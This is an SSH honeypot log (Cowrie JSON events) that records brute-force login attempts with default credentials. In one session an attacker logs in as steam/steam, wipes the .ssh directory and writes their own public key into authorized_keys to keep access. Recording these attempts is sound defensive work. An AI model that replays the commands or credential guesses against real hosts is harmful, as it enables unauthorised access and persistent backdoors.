{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:18.341840Z","src_ip":"181.97.227.163","session":"94ba9c87ffe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:18.539042Z","src_ip":"181.97.227.163","session":"94ba9c87ffe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"admin","message":"login attempt [suporte/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:19.352477Z","src_ip":"181.97.227.163","session":"94ba9c87ffe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:20.553128Z","src_ip":"181.97.227.163","session":"94ba9c87ffe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":42156,"dst_ip":"10.17.0.5","dst_port":22,"session":"29579357e56e","protocol":"ssh","message":"New connection: 101.36.106.162:42156 (10.17.0.5:22) [session: 29579357e56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:28.802549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:28.807920Z","src_ip":"101.36.106.162","session":"29579357e56e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:29.031298Z","src_ip":"101.36.106.162","session":"29579357e56e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"12345","message":"login attempt [user2/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:29.941452Z","src_ip":"101.36.106.162","session":"29579357e56e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:31.167658Z","src_ip":"101.36.106.162","session":"29579357e56e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":52994,"dst_ip":"10.17.0.5","dst_port":22,"session":"57818838c9a5","protocol":"ssh","message":"New connection: 193.46.255.86:52994 (10.17.0.5:22) [session: 57818838c9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:31.514415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:31.520767Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:31.651768Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"telnet","message":"login attempt [telnet/telnet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:32.247947Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53944,"dst_ip":"159.203.135.109","dst_port":22,"session":"da1ff112d669","protocol":"ssh","message":"New connection: 2.57.122.208:53944 (159.203.135.109:22) [session: da1ff112d669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:32.604352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:32.844229Z","src_ip":"2.57.122.208","session":"da1ff112d669","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:32.847798Z","src_ip":"2.57.122.208","session":"da1ff112d669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abc123","message":"login attempt [telnet/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:33.387079Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:34.454329Z","src_ip":"2.57.122.208","session":"da1ff112d669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abcd123","message":"login attempt [telnet/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:34.521321Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abcd1234","message":"login attempt [telnet/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:35.655764Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:35.727411Z","src_ip":"2.57.122.208","session":"da1ff112d669","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telnet","password":"abc1234","message":"login attempt [telnet/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:36.789265Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:37.924913Z","src_ip":"193.46.255.86","session":"57818838c9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":46398,"dst_ip":"159.203.135.109","dst_port":22,"session":"82026591e9e3","protocol":"ssh","message":"New connection: 103.158.40.65:46398 (159.203.135.109:22) [session: 82026591e9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:38.887859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:38.893144Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:39.101721Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:39.960925Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.219.137","src_port":6490,"dst_ip":"159.203.135.109","dst_port":22,"session":"29a6c0fb00eb","protocol":"ssh","message":"New connection: 131.161.219.137:6490 (159.203.135.109:22) [session: 29a6c0fb00eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:39.969891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:39.975637Z","src_ip":"131.161.219.137","session":"29a6c0fb00eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:40.104511Z","src_ip":"131.161.219.137","session":"29a6c0fb00eb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:40.436941Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:40.442078Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:40.447085Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:40.659693Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu1","password":"ubuntu1","message":"login attempt [ubuntu1/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:40.750143Z","src_ip":"131.161.219.137","session":"29a6c0fb00eb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.119155Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.123313Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.362219Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.366283Z","src_ip":"103.158.40.65","session":"82026591e9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":47116,"dst_ip":"159.203.135.109","dst_port":22,"session":"d806f607d670","protocol":"ssh","message":"New connection: 103.158.40.65:47116 (159.203.135.109:22) [session: d806f607d670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.568333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.573556Z","src_ip":"103.158.40.65","session":"d806f607d670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:00:41.783781Z","src_ip":"103.158.40.65","session":"d806f607d670","protocol":"ssh"}
